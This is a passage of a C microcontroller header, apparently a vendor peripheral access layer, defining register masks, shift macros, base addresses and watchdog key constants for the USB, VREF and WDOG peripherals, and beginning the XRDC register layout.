#define USB_CTL_JSTATE_MASK (0x80U)
#define USB_CTL_JSTATE_SHIFT (7U)
#define USB_CTL_JSTATE(x) (((uint8_t)(((uint8_t)(x)) << USB_CTL_JSTATE_SHIFT)) & USB_CTL_JSTATE_MASK)
/*! @name ADDR - Address register */
#define USB_ADDR_ADDR_MASK (0x7FU)
#define USB_ADDR_ADDR_SHIFT (0U)
#define USB_ADDR_ADDR(x) (((uint8_t)(((uint8_t)(x)) << USB_ADDR_ADDR_SHIFT)) & USB_ADDR_ADDR_MASK)
#define USB_ADDR_LSEN_MASK (0x80U)
#define USB_ADDR_LSEN_SHIFT (7U)
#define USB_ADDR_LSEN(x) (((uint8_t)(((uint8_t)(x)) << USB_ADDR_LSEN_SHIFT)) & USB_ADDR_LSEN_MASK)
/*! @name BDTPAGE1 - BDT Page register 1 */
#define USB_BDTPAGE1_BDTBA_MASK (0xFEU)
#define USB_BDTPAGE1_BDTBA_SHIFT (1U)
#define USB_BDTPAGE1_BDTBA(x) (((uint8_t)(((uint8_t)(x)) << USB_BDTPAGE1_BDTBA_SHIFT)) & USB_BDTPAGE1_BDTBA_MASK)
/*! @name FRMNUML - Frame Number register Low */
#define USB_FRMNUML_FRM_MASK (0xFFU)
#define USB_FRMNUML_FRM_SHIFT (0U)
#define USB_FRMNUML_FRM(x) (((uint8_t)(((uint8_t)(x)) << USB_FRMNUML_FRM_SHIFT)) & USB_FRMNUML_FRM_MASK)
/*! @name FRMNUMH - Frame Number register High */
#define USB_FRMNUMH_FRM_MASK (0x7U)
#define USB_FRMNUMH_FRM_SHIFT (0U)
#define USB_FRMNUMH_FRM(x) (((uint8_t)(((uint8_t)(x)) << USB_FRMNUMH_FRM_SHIFT)) & USB_FRMNUMH_FRM_MASK)
/*! @name TOKEN - Token register */
#define USB_TOKEN_TOKENENDPT_MASK (0xFU)
#define USB_TOKEN_TOKENENDPT_SHIFT (0U)
#define USB_TOKEN_TOKENENDPT(x) (((uint8_t)(((uint8_t)(x)) << USB_TOKEN_TOKENENDPT_SHIFT)) & USB_TOKEN_TOKENENDPT_MASK)
#define USB_TOKEN_TOKENPID_MASK (0xF0U)
#define USB_TOKEN_TOKENPID_SHIFT (4U)
#define USB_TOKEN_TOKENPID(x) (((uint8_t)(((uint8_t)(x)) << USB_TOKEN_TOKENPID_SHIFT)) & USB_TOKEN_TOKENPID_MASK)
/*! @name SOFTHLD - SOF Threshold register */
#define USB_SOFTHLD_CNT_MASK (0xFFU)
#define USB_SOFTHLD_CNT_SHIFT (0U)
#define USB_SOFTHLD_CNT(x) (((uint8_t)(((uint8_t)(x)) << USB_SOFTHLD_CNT_SHIFT)) & USB_SOFTHLD_CNT_MASK)
/*! @name BDTPAGE2 - BDT Page Register 2 */
#define USB_BDTPAGE2_BDTBA_MASK (0xFFU)
#define USB_BDTPAGE2_BDTBA_SHIFT (0U)
#define USB_BDTPAGE2_BDTBA(x) (((uint8_t)(((uint8_t)(x)) << USB_BDTPAGE2_BDTBA_SHIFT)) & USB_BDTPAGE2_BDTBA_MASK)
/*! @name BDTPAGE3 - BDT Page Register 3 */
#define USB_BDTPAGE3_BDTBA_MASK (0xFFU)
#define USB_BDTPAGE3_BDTBA_SHIFT (0U)
#define USB_BDTPAGE3_BDTBA(x) (((uint8_t)(((uint8_t)(x)) << USB_BDTPAGE3_BDTBA_SHIFT)) & USB_BDTPAGE3_BDTBA_MASK)
/*! @name ENDPT - Endpoint Control register */
#define USB_ENDPT_EPHSHK_MASK (0x1U)
#define USB_ENDPT_EPHSHK_SHIFT (0U)
#define USB_ENDPT_EPHSHK(x) (((uint8_t)(((uint8_t)(x)) << USB_ENDPT_EPHSHK_SHIFT)) & USB_ENDPT_EPHSHK_MASK)
#define USB_ENDPT_EPSTALL_MASK (0x2U)
#define USB_ENDPT_EPSTALL_SHIFT (1U)
#define USB_ENDPT_EPSTALL(x) (((uint8_t)(((uint8_t)(x)) << USB_ENDPT_EPSTALL_SHIFT)) & USB_ENDPT_EPSTALL_MASK)
#define USB_ENDPT_EPTXEN_MASK (0x4U)
#define USB_ENDPT_EPTXEN_SHIFT (2U)
#define USB_ENDPT_EPTXEN(x) (((uint8_t)(((uint8_t)(x)) << USB_ENDPT_EPTXEN_SHIFT)) & USB_ENDPT_EPTXEN_MASK)
#define USB_ENDPT_EPRXEN_MASK (0x8U)
#define USB_ENDPT_EPRXEN_SHIFT (3U)
#define USB_ENDPT_EPRXEN(x) (((uint8_t)(((uint8_t)(x)) << USB_ENDPT_EPRXEN_SHIFT)) & USB_ENDPT_EPRXEN_MASK)
#define USB_ENDPT_EPCTLDIS_MASK (0x10U)
#define USB_ENDPT_EPCTLDIS_SHIFT (4U)
#define USB_ENDPT_EPCTLDIS(x) (((uint8_t)(((uint8_t)(x)) << USB_ENDPT_EPCTLDIS_SHIFT)) & USB_ENDPT_EPCTLDIS_MASK)
#define USB_ENDPT_RETRYDIS_MASK (0x40U)
#define USB_ENDPT_RETRYDIS_SHIFT (6U)
#define USB_ENDPT_RETRYDIS(x) (((uint8_t)(((uint8_t)(x)) << USB_ENDPT_RETRYDIS_SHIFT)) & USB_ENDPT_RETRYDIS_MASK)
#define USB_ENDPT_HOSTWOHUB_MASK (0x80U)
#define USB_ENDPT_HOSTWOHUB_SHIFT (7U)
#define USB_ENDPT_HOSTWOHUB(x) (((uint8_t)(((uint8_t)(x)) << USB_ENDPT_HOSTWOHUB_SHIFT)) & USB_ENDPT_HOSTWOHUB_MASK)
/* The count of USB_ENDPT */
#define USB_ENDPT_COUNT (16U)
/*! @name USBCTRL - USB Control register */
#define USB_USBCTRL_UARTSEL_MASK (0x10U)
#define USB_USBCTRL_UARTSEL_SHIFT (4U)
#define USB_USBCTRL_UARTSEL(x) (((uint8_t)(((uint8_t)(x)) << USB_USBCTRL_UARTSEL_SHIFT)) & USB_USBCTRL_UARTSEL_MASK)
#define USB_USBCTRL_UARTCHLS_MASK (0x20U)
#define USB_USBCTRL_UARTCHLS_SHIFT (5U)
#define USB_USBCTRL_UARTCHLS(x) (((uint8_t)(((uint8_t)(x)) << USB_USBCTRL_UARTCHLS_SHIFT)) & USB_USBCTRL_UARTCHLS_MASK)
#define USB_USBCTRL_PDE_MASK (0x40U)
#define USB_USBCTRL_PDE_SHIFT (6U)
#define USB_USBCTRL_PDE(x) (((uint8_t)(((uint8_t)(x)) << USB_USBCTRL_PDE_SHIFT)) & USB_USBCTRL_PDE_MASK)
#define USB_USBCTRL_SUSP_MASK (0x80U)
#define USB_USBCTRL_SUSP_SHIFT (7U)
#define USB_USBCTRL_SUSP(x) (((uint8_t)(((uint8_t)(x)) << USB_USBCTRL_SUSP_SHIFT)) & USB_USBCTRL_SUSP_MASK)
/*! @name OBSERVE - USB OTG Observe register */
#define USB_OBSERVE_DMPD_MASK (0x10U)
#define USB_OBSERVE_DMPD_SHIFT (4U)
#define USB_OBSERVE_DMPD(x) (((uint8_t)(((uint8_t)(x)) << USB_OBSERVE_DMPD_SHIFT)) & USB_OBSERVE_DMPD_MASK)
#define USB_OBSERVE_DPPD_MASK (0x40U)
#define USB_OBSERVE_DPPD_SHIFT (6U)
#define USB_OBSERVE_DPPD(x) (((uint8_t)(((uint8_t)(x)) << USB_OBSERVE_DPPD_SHIFT)) & USB_OBSERVE_DPPD_MASK)
#define USB_OBSERVE_DPPU_MASK (0x80U)
#define USB_OBSERVE_DPPU_SHIFT (7U)
#define USB_OBSERVE_DPPU(x) (((uint8_t)(((uint8_t)(x)) << USB_OBSERVE_DPPU_SHIFT)) & USB_OBSERVE_DPPU_MASK)
/*! @name CONTROL - USB OTG Control register */
#define USB_CONTROL_DPPULLUPNONOTG_MASK (0x10U)
#define USB_CONTROL_DPPULLUPNONOTG_SHIFT (4U)
#define USB_CONTROL_DPPULLUPNONOTG(x) (((uint8_t)(((uint8_t)(x)) << USB_CONTROL_DPPULLUPNONOTG_SHIFT)) & USB_CONTROL_DPPULLUPNONOTG_MASK)
/*! @name USBTRC0 - USB Transceiver Control register 0 */
#define USB_USBTRC0_USB_RESUME_INT_MASK (0x1U)
#define USB_USBTRC0_USB_RESUME_INT_SHIFT (0U)
#define USB_USBTRC0_USB_RESUME_INT(x) (((uint8_t)(((uint8_t)(x)) << USB_USBTRC0_USB_RESUME_INT_SHIFT)) & USB_USBTRC0_USB_RESUME_INT_MASK)
#define USB_USBTRC0_SYNC_DET_MASK (0x2U)
#define USB_USBTRC0_SYNC_DET_SHIFT (1U)
#define USB_USBTRC0_SYNC_DET(x) (((uint8_t)(((uint8_t)(x)) << USB_USBTRC0_SYNC_DET_SHIFT)) & USB_USBTRC0_SYNC_DET_MASK)
#define USB_USBTRC0_USB_CLK_RECOVERY_INT_MASK (0x4U)
#define USB_USBTRC0_USB_CLK_RECOVERY_INT_SHIFT (2U)
#define USB_USBTRC0_USB_CLK_RECOVERY_INT(x) (((uint8_t)(((uint8_t)(x)) << USB_USBTRC0_USB_CLK_RECOVERY_INT_SHIFT)) & USB_USBTRC0_USB_CLK_RECOVERY_INT_MASK)
#define USB_USBTRC0_VREDG_DET_MASK (0x8U)
#define USB_USBTRC0_VREDG_DET_SHIFT (3U)
#define USB_USBTRC0_VREDG_DET(x) (((uint8_t)(((uint8_t)(x)) << USB_USBTRC0_VREDG_DET_SHIFT)) & USB_USBTRC0_VREDG_DET_MASK)
#define USB_USBTRC0_VFEDG_DET_MASK (0x10U)
#define USB_USBTRC0_VFEDG_DET_SHIFT (4U)
#define USB_USBTRC0_VFEDG_DET(x) (((uint8_t)(((uint8_t)(x)) << USB_USBTRC0_VFEDG_DET_SHIFT)) & USB_USBTRC0_VFEDG_DET_MASK)
#define USB_USBTRC0_USBRESMEN_MASK (0x20U)
#define USB_USBTRC0_USBRESMEN_SHIFT (5U)
#define USB_USBTRC0_USBRESMEN(x) (((uint8_t)(((uint8_t)(x)) << USB_USBTRC0_USBRESMEN_SHIFT)) & USB_USBTRC0_USBRESMEN_MASK)
#define USB_USBTRC0_USBRESET_MASK (0x80U)
#define USB_USBTRC0_USBRESET_SHIFT (7U)
#define USB_USBTRC0_USBRESET(x) (((uint8_t)(((uint8_t)(x)) << USB_USBTRC0_USBRESET_SHIFT)) & USB_USBTRC0_USBRESET_MASK)
/*! @name USBFRMADJUST - Frame Adjust Register */
#define USB_USBFRMADJUST_ADJ_MASK (0xFFU)
#define USB_USBFRMADJUST_ADJ_SHIFT (0U)
#define USB_USBFRMADJUST_ADJ(x) (((uint8_t)(((uint8_t)(x)) << USB_USBFRMADJUST_ADJ_SHIFT)) & USB_USBFRMADJUST_ADJ_MASK)
/*! @name KEEP_ALIVE_CTRL - Keep Alive mode control */
#define USB_KEEP_ALIVE_CTRL_KEEP_ALIVE_EN_MASK (0x1U)
#define USB_KEEP_ALIVE_CTRL_KEEP_ALIVE_EN_SHIFT (0U)
#define USB_KEEP_ALIVE_CTRL_KEEP_ALIVE_EN(x) (((uint8_t)(((uint8_t)(x)) << USB_KEEP_ALIVE_CTRL_KEEP_ALIVE_EN_SHIFT)) & USB_KEEP_ALIVE_CTRL_KEEP_ALIVE_EN_MASK)
#define USB_KEEP_ALIVE_CTRL_OWN_OVERRD_EN_MASK (0x2U)
#define USB_KEEP_ALIVE_CTRL_OWN_OVERRD_EN_SHIFT (1U)
#define USB_KEEP_ALIVE_CTRL_OWN_OVERRD_EN(x) (((uint8_t)(((uint8_t)(x)) << USB_KEEP_ALIVE_CTRL_OWN_OVERRD_EN_SHIFT)) & USB_KEEP_ALIVE_CTRL_OWN_OVERRD_EN_MASK)
#define USB_KEEP_ALIVE_CTRL_WAKE_REQ_EN_MASK (0x8U)
#define USB_KEEP_ALIVE_CTRL_WAKE_REQ_EN_SHIFT (3U)
#define USB_KEEP_ALIVE_CTRL_WAKE_REQ_EN(x) (((uint8_t)(((uint8_t)(x)) << USB_KEEP_ALIVE_CTRL_WAKE_REQ_EN_SHIFT)) & USB_KEEP_ALIVE_CTRL_WAKE_REQ_EN_MASK)
#define USB_KEEP_ALIVE_CTRL_WAKE_INT_EN_MASK (0x10U)
#define USB_KEEP_ALIVE_CTRL_WAKE_INT_EN_SHIFT (4U)
#define USB_KEEP_ALIVE_CTRL_WAKE_INT_EN(x) (((uint8_t)(((uint8_t)(x)) << USB_KEEP_ALIVE_CTRL_WAKE_INT_EN_SHIFT)) & USB_KEEP_ALIVE_CTRL_WAKE_INT_EN_MASK)
#define USB_KEEP_ALIVE_CTRL_WAKE_INT_STS_MASK (0x80U)
#define USB_KEEP_ALIVE_CTRL_WAKE_INT_STS_SHIFT (7U)
#define USB_KEEP_ALIVE_CTRL_WAKE_INT_STS(x) (((uint8_t)(((uint8_t)(x)) << USB_KEEP_ALIVE_CTRL_WAKE_INT_STS_SHIFT)) & USB_KEEP_ALIVE_CTRL_WAKE_INT_STS_MASK)
/*! @name KEEP_ALIVE_WKCTRL - Keep Alive mode wakeup control */
#define USB_KEEP_ALIVE_WKCTRL_WAKE_ON_THIS_MASK (0xFU)
#define USB_KEEP_ALIVE_WKCTRL_WAKE_ON_THIS_SHIFT (0U)
#define USB_KEEP_ALIVE_WKCTRL_WAKE_ON_THIS(x) (((uint8_t)(((uint8_t)(x)) << USB_KEEP_ALIVE_WKCTRL_WAKE_ON_THIS_SHIFT)) & USB_KEEP_ALIVE_WKCTRL_WAKE_ON_THIS_MASK)
#define USB_KEEP_ALIVE_WKCTRL_WAKE_ENDPT_MASK (0xF0U)
#define USB_KEEP_ALIVE_WKCTRL_WAKE_ENDPT_SHIFT (4U)
#define USB_KEEP_ALIVE_WKCTRL_WAKE_ENDPT(x) (((uint8_t)(((uint8_t)(x)) << USB_KEEP_ALIVE_WKCTRL_WAKE_ENDPT_SHIFT)) & USB_KEEP_ALIVE_WKCTRL_WAKE_ENDPT_MASK)
/*! @name MISCCTRL - Miscellaneous Control register */
#define USB_MISCCTRL_SOFDYNTHLD_MASK (0x1U)
#define USB_MISCCTRL_SOFDYNTHLD_SHIFT (0U)
#define USB_MISCCTRL_SOFDYNTHLD(x) (((uint8_t)(((uint8_t)(x)) << USB_MISCCTRL_SOFDYNTHLD_SHIFT)) & USB_MISCCTRL_SOFDYNTHLD_MASK)
#define USB_MISCCTRL_SOFBUSSET_MASK (0x2U)
#define USB_MISCCTRL_SOFBUSSET_SHIFT (1U)
#define USB_MISCCTRL_SOFBUSSET(x) (((uint8_t)(((uint8_t)(x)) << USB_MISCCTRL_SOFBUSSET_SHIFT)) & USB_MISCCTRL_SOFBUSSET_MASK)
#define USB_MISCCTRL_OWNERRISODIS_MASK (0x4U)
#define USB_MISCCTRL_OWNERRISODIS_SHIFT (2U)
#define USB_MISCCTRL_OWNERRISODIS(x) (((uint8_t)(((uint8_t)(x)) << USB_MISCCTRL_OWNERRISODIS_SHIFT)) & USB_MISCCTRL_OWNERRISODIS_MASK)
#define USB_MISCCTRL_VREDG_EN_MASK (0x8U)
#define USB_MISCCTRL_VREDG_EN_SHIFT (3U)
#define USB_MISCCTRL_VREDG_EN(x) (((uint8_t)(((uint8_t)(x)) << USB_MISCCTRL_VREDG_EN_SHIFT)) & USB_MISCCTRL_VREDG_EN_MASK)
#define USB_MISCCTRL_VFEDG_EN_MASK (0x10U)
#define USB_MISCCTRL_VFEDG_EN_SHIFT (4U)
#define USB_MISCCTRL_VFEDG_EN(x) (((uint8_t)(((uint8_t)(x)) << USB_MISCCTRL_VFEDG_EN_SHIFT)) & USB_MISCCTRL_VFEDG_EN_MASK)
/*! @name CLK_RECOVER_CTRL - USB Clock recovery control */
#define USB_CLK_RECOVER_CTRL_RESTART_IFRTRIM_EN_MASK (0x20U)
#define USB_CLK_RECOVER_CTRL_RESTART_IFRTRIM_EN_SHIFT (5U)
#define USB_CLK_RECOVER_CTRL_RESTART_IFRTRIM_EN(x) (((uint8_t)(((uint8_t)(x)) << USB_CLK_RECOVER_CTRL_RESTART_IFRTRIM_EN_SHIFT)) & USB_CLK_RECOVER_CTRL_RESTART_IFRTRIM_EN_MASK)
#define USB_CLK_RECOVER_CTRL_RESET_RESUME_ROUGH_EN_MASK (0x40U)
#define USB_CLK_RECOVER_CTRL_RESET_RESUME_ROUGH_EN_SHIFT (6U)
#define USB_CLK_RECOVER_CTRL_RESET_RESUME_ROUGH_EN(x) (((uint8_t)(((uint8_t)(x)) << USB_CLK_RECOVER_CTRL_RESET_RESUME_ROUGH_EN_SHIFT)) & USB_CLK_RECOVER_CTRL_RESET_RESUME_ROUGH_EN_MASK)
#define USB_CLK_RECOVER_CTRL_CLOCK_RECOVER_EN_MASK (0x80U)
#define USB_CLK_RECOVER_CTRL_CLOCK_RECOVER_EN_SHIFT (7U)
#define USB_CLK_RECOVER_CTRL_CLOCK_RECOVER_EN(x) (((uint8_t)(((uint8_t)(x)) << USB_CLK_RECOVER_CTRL_CLOCK_RECOVER_EN_SHIFT)) & USB_CLK_RECOVER_CTRL_CLOCK_RECOVER_EN_MASK)
/*! @name CLK_RECOVER_INT_EN - Clock recovery combined interrupt enable */
#define USB_CLK_RECOVER_INT_EN_OVF_ERROR_EN_MASK (0x10U)
#define USB_CLK_RECOVER_INT_EN_OVF_ERROR_EN_SHIFT (4U)
#define USB_CLK_RECOVER_INT_EN_OVF_ERROR_EN(x) (((uint8_t)(((uint8_t)(x)) << USB_CLK_RECOVER_INT_EN_OVF_ERROR_EN_SHIFT)) & USB_CLK_RECOVER_INT_EN_OVF_ERROR_EN_MASK)
/*! @name CLK_RECOVER_INT_STATUS - Clock recovery separated interrupt status */
#define USB_CLK_RECOVER_INT_STATUS_OVF_ERROR_MASK (0x10U)
#define USB_CLK_RECOVER_INT_STATUS_OVF_ERROR_SHIFT (4U)
#define USB_CLK_RECOVER_INT_STATUS_OVF_ERROR(x) (((uint8_t)(((uint8_t)(x)) << USB_CLK_RECOVER_INT_STATUS_OVF_ERROR_SHIFT)) & USB_CLK_RECOVER_INT_STATUS_OVF_ERROR_MASK)
/*!
* @}
*/ /* end of group USB_Register_Masks */
/* USB - Peripheral instance base addresses */
/** Peripheral USB0 base address */
#define USB0_BASE (0x40055000u)
/** Peripheral USB0 base pointer */
#define USB0 ((USB_Type *)USB0_BASE)
/** Array initializer of USB peripheral base addresses */
#define USB_BASE_ADDRS { USB0_BASE }
/** Array initializer of USB peripheral base pointers */
#define USB_BASE_PTRS { USB0 }
/** Interrupt vectors for the USB peripheral type */
#define USB_IRQS { USB0_IRQn }
/*!
* @}
*/ /* end of group USB_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- VREF Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup VREF_Peripheral_Access_Layer VREF Peripheral Access Layer
* @{
*/
/** VREF - Register Layout Typedef */
typedef struct {
__IO uint8_t TRM; /**< VREF Trim Register, offset: 0x0 */
__IO uint8_t SC; /**< VREF Status and Control Register, offset: 0x1 */
uint8_t RESERVED_0[3];
__IO uint8_t TRM4; /**< VREF Trim Register 4, offset: 0x5 */
} VREF_Type;
/* ----------------------------------------------------------------------------
-- VREF Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup VREF_Register_Masks VREF Register Masks
* @{
*/
/*! @name TRM - VREF Trim Register */
#define VREF_TRM_TRIM_MASK (0x3FU)
#define VREF_TRM_TRIM_SHIFT (0U)
#define VREF_TRM_TRIM(x) (((uint8_t)(((uint8_t)(x)) << VREF_TRM_TRIM_SHIFT)) & VREF_TRM_TRIM_MASK)
#define VREF_TRM_CHOPEN_MASK (0x40U)
#define VREF_TRM_CHOPEN_SHIFT (6U)
#define VREF_TRM_CHOPEN(x) (((uint8_t)(((uint8_t)(x)) << VREF_TRM_CHOPEN_SHIFT)) & VREF_TRM_CHOPEN_MASK)
#define VREF_TRM_FLIP_MASK (0x80U)
#define VREF_TRM_FLIP_SHIFT (7U)
#define VREF_TRM_FLIP(x) (((uint8_t)(((uint8_t)(x)) << VREF_TRM_FLIP_SHIFT)) & VREF_TRM_FLIP_MASK)
/*! @name SC - VREF Status and Control Register */
#define VREF_SC_MODE_LV_MASK (0x3U)
#define VREF_SC_MODE_LV_SHIFT (0U)
#define VREF_SC_MODE_LV(x) (((uint8_t)(((uint8_t)(x)) << VREF_SC_MODE_LV_SHIFT)) & VREF_SC_MODE_LV_MASK)
#define VREF_SC_VREFST_MASK (0x4U)
#define VREF_SC_VREFST_SHIFT (2U)
#define VREF_SC_VREFST(x) (((uint8_t)(((uint8_t)(x)) << VREF_SC_VREFST_SHIFT)) & VREF_SC_VREFST_MASK)
#define VREF_SC_TMUXEN_MASK (0x8U)
#define VREF_SC_TMUXEN_SHIFT (3U)
#define VREF_SC_TMUXEN(x) (((uint8_t)(((uint8_t)(x)) << VREF_SC_TMUXEN_SHIFT)) & VREF_SC_TMUXEN_MASK)
#define VREF_SC_TRESEN_MASK (0x10U)
#define VREF_SC_TRESEN_SHIFT (4U)
#define VREF_SC_TRESEN(x) (((uint8_t)(((uint8_t)(x)) << VREF_SC_TRESEN_SHIFT)) & VREF_SC_TRESEN_MASK)
#define VREF_SC_ICOMPEN_MASK (0x20U)
#define VREF_SC_ICOMPEN_SHIFT (5U)
#define VREF_SC_ICOMPEN(x) (((uint8_t)(((uint8_t)(x)) << VREF_SC_ICOMPEN_SHIFT)) & VREF_SC_ICOMPEN_MASK)
#define VREF_SC_REGEN_MASK (0x40U)
#define VREF_SC_REGEN_SHIFT (6U)
#define VREF_SC_REGEN(x) (((uint8_t)(((uint8_t)(x)) << VREF_SC_REGEN_SHIFT)) & VREF_SC_REGEN_MASK)
#define VREF_SC_VREFEN_MASK (0x80U)
#define VREF_SC_VREFEN_SHIFT (7U)
#define VREF_SC_VREFEN(x) (((uint8_t)(((uint8_t)(x)) << VREF_SC_VREFEN_SHIFT)) & VREF_SC_VREFEN_MASK)
/*! @name TRM4 - VREF Trim Register 4 */
#define VREF_TRM4_VREF2V1_EN_MASK (0x80U)
#define VREF_TRM4_VREF2V1_EN_SHIFT (7U)
#define VREF_TRM4_VREF2V1_EN(x) (((uint8_t)(((uint8_t)(x)) << VREF_TRM4_VREF2V1_EN_SHIFT)) & VREF_TRM4_VREF2V1_EN_MASK)
/*!
* @}
*/ /* end of group VREF_Register_Masks */
/* VREF - Peripheral instance base addresses */
/** Peripheral VREF base address */
#define VREF_BASE (0x40072000u)
/** Peripheral VREF base pointer */
#define VREF ((VREF_Type *)VREF_BASE)
/** Array initializer of VREF peripheral base addresses */
#define VREF_BASE_ADDRS { VREF_BASE }
/** Array initializer of VREF peripheral base pointers */
#define VREF_BASE_PTRS { VREF }
/*!
* @}
*/ /* end of group VREF_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- WDOG Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup WDOG_Peripheral_Access_Layer WDOG Peripheral Access Layer
* @{
*/
/** WDOG - Register Layout Typedef */
typedef struct {
__IO uint32_t CS; /**< Watchdog Control and Status Register, offset: 0x0 */
__IO uint32_t CNT; /**< Watchdog Counter Register, offset: 0x4 */
__IO uint32_t TOVAL; /**< Watchdog Timeout Value Register, offset: 0x8 */
__IO uint32_t WIN; /**< Watchdog Window Register, offset: 0xC */
} WDOG_Type;
/* ----------------------------------------------------------------------------
-- WDOG Register Masks
---------------------------------------------------------------------------- */
/*!
* @addtogroup WDOG_Register_Masks WDOG Register Masks
* @{
*/
/*! @name CS - Watchdog Control and Status Register */
#define WDOG_CS_STOP_MASK (0x1U)
#define WDOG_CS_STOP_SHIFT (0U)
#define WDOG_CS_STOP(x) (((uint32_t)(((uint32_t)(x)) << WDOG_CS_STOP_SHIFT)) & WDOG_CS_STOP_MASK)
#define WDOG_CS_WAIT_MASK (0x2U)
#define WDOG_CS_WAIT_SHIFT (1U)
#define WDOG_CS_WAIT(x) (((uint32_t)(((uint32_t)(x)) << WDOG_CS_WAIT_SHIFT)) & WDOG_CS_WAIT_MASK)
#define WDOG_CS_DBG_MASK (0x4U)
#define WDOG_CS_DBG_SHIFT (2U)
#define WDOG_CS_DBG(x) (((uint32_t)(((uint32_t)(x)) << WDOG_CS_DBG_SHIFT)) & WDOG_CS_DBG_MASK)
#define WDOG_CS_TST_MASK (0x18U)
#define WDOG_CS_TST_SHIFT (3U)
#define WDOG_CS_TST(x) (((uint32_t)(((uint32_t)(x)) << WDOG_CS_TST_SHIFT)) & WDOG_CS_TST_MASK)
#define WDOG_CS_UPDATE_MASK (0x20U)
#define WDOG_CS_UPDATE_SHIFT (5U)
#define WDOG_CS_UPDATE(x) (((uint32_t)(((uint32_t)(x)) << WDOG_CS_UPDATE_SHIFT)) & WDOG_CS_UPDATE_MASK)
#define WDOG_CS_INT_MASK (0x40U)
#define WDOG_CS_INT_SHIFT (6U)
#define WDOG_CS_INT(x) (((uint32_t)(((uint32_t)(x)) << WDOG_CS_INT_SHIFT)) & WDOG_CS_INT_MASK)
#define WDOG_CS_EN_MASK (0x80U)
#define WDOG_CS_EN_SHIFT (7U)
#define WDOG_CS_EN(x) (((uint32_t)(((uint32_t)(x)) << WDOG_CS_EN_SHIFT)) & WDOG_CS_EN_MASK)
#define WDOG_CS_CLK_MASK (0x300U)
#define WDOG_CS_CLK_SHIFT (8U)
#define WDOG_CS_CLK(x) (((uint32_t)(((uint32_t)(x)) << WDOG_CS_CLK_SHIFT)) & WDOG_CS_CLK_MASK)
#define WDOG_CS_PRES_MASK (0x1000U)
#define WDOG_CS_PRES_SHIFT (12U)
#define WDOG_CS_PRES(x) (((uint32_t)(((uint32_t)(x)) << WDOG_CS_PRES_SHIFT)) & WDOG_CS_PRES_MASK)
#define WDOG_CS_CMD32EN_MASK (0x2000U)
#define WDOG_CS_CMD32EN_SHIFT (13U)
#define WDOG_CS_CMD32EN(x) (((uint32_t)(((uint32_t)(x)) << WDOG_CS_CMD32EN_SHIFT)) & WDOG_CS_CMD32EN_MASK)
#define WDOG_CS_FLG_MASK (0x4000U)
#define WDOG_CS_FLG_SHIFT (14U)
#define WDOG_CS_FLG(x) (((uint32_t)(((uint32_t)(x)) << WDOG_CS_FLG_SHIFT)) & WDOG_CS_FLG_MASK)
#define WDOG_CS_WIN_MASK (0x8000U)
#define WDOG_CS_WIN_SHIFT (15U)
#define WDOG_CS_WIN(x) (((uint32_t)(((uint32_t)(x)) << WDOG_CS_WIN_SHIFT)) & WDOG_CS_WIN_MASK)
/*! @name CNT - Watchdog Counter Register */
#define WDOG_CNT_CNTLOW_MASK (0xFFU)
#define WDOG_CNT_CNTLOW_SHIFT (0U)
#define WDOG_CNT_CNTLOW(x) (((uint32_t)(((uint32_t)(x)) << WDOG_CNT_CNTLOW_SHIFT)) & WDOG_CNT_CNTLOW_MASK)
#define WDOG_CNT_CNTHIGH_MASK (0xFF00U)
#define WDOG_CNT_CNTHIGH_SHIFT (8U)
#define WDOG_CNT_CNTHIGH(x) (((uint32_t)(((uint32_t)(x)) << WDOG_CNT_CNTHIGH_SHIFT)) & WDOG_CNT_CNTHIGH_MASK)
/*! @name TOVAL - Watchdog Timeout Value Register */
#define WDOG_TOVAL_TOVALLOW_MASK (0xFFU)
#define WDOG_TOVAL_TOVALLOW_SHIFT (0U)
#define WDOG_TOVAL_TOVALLOW(x) (((uint32_t)(((uint32_t)(x)) << WDOG_TOVAL_TOVALLOW_SHIFT)) & WDOG_TOVAL_TOVALLOW_MASK)
#define WDOG_TOVAL_TOVALHIGH_MASK (0xFF00U)
#define WDOG_TOVAL_TOVALHIGH_SHIFT (8U)
#define WDOG_TOVAL_TOVALHIGH(x) (((uint32_t)(((uint32_t)(x)) << WDOG_TOVAL_TOVALHIGH_SHIFT)) & WDOG_TOVAL_TOVALHIGH_MASK)
/*! @name WIN - Watchdog Window Register */
#define WDOG_WIN_WINLOW_MASK (0xFFU)
#define WDOG_WIN_WINLOW_SHIFT (0U)
#define WDOG_WIN_WINLOW(x) (((uint32_t)(((uint32_t)(x)) << WDOG_WIN_WINLOW_SHIFT)) & WDOG_WIN_WINLOW_MASK)
#define WDOG_WIN_WINHIGH_MASK (0xFF00U)
#define WDOG_WIN_WINHIGH_SHIFT (8U)
#define WDOG_WIN_WINHIGH(x) (((uint32_t)(((uint32_t)(x)) << WDOG_WIN_WINHIGH_SHIFT)) & WDOG_WIN_WINHIGH_MASK)
/*!
* @}
*/ /* end of group WDOG_Register_Masks */
/* WDOG - Peripheral instance base addresses */
/** Peripheral WDOG0 base address */
#define WDOG0_BASE (0x40076000u)
/** Peripheral WDOG0 base pointer */
#define WDOG0 ((WDOG_Type *)WDOG0_BASE)
/** Peripheral WDOG1 base address */
#define WDOG1_BASE (0x400F6000u)
/** Peripheral WDOG1 base pointer */
#define WDOG1 ((WDOG_Type *)WDOG1_BASE)
/** Array initializer of WDOG peripheral base addresses */
#define WDOG_BASE_ADDRS { WDOG0_BASE, WDOG1_BASE }
/** Array initializer of WDOG peripheral base pointers */
#define WDOG_BASE_PTRS { WDOG0, WDOG1 }
/** Interrupt vectors for the WDOG peripheral type */
#define WDOG_IRQS { WDOG0_IRQn, NotAvail_IRQn }
#define WDOG_UPDATE_KEY (0xD928C520U)
#define WDOG_REFRESH_KEY (0xB480A602U)
/*!
* @}
*/ /* end of group WDOG_Peripheral_Access_Layer */
/* ----------------------------------------------------------------------------
-- XRDC Peripheral Access Layer
---------------------------------------------------------------------------- */
/*!
* @addtogroup XRDC_Peripheral_Access_Layer XRDC Peripheral Access Layer
* @{
*/
/** XRDC - Register Layout Typedef */
typedef struct {
__IO uint32_t CR; /**< Control Register, offset: 0x0 */
uint8_t RESERVED_0[236];
__I uint32_t HWCFG0; /**< Hardware Configuration Register 0, offset: 0xF0 */
__I uint32_t HWCFG1; /**< Hardware Configuration Register 1, offset: 0xF4 */
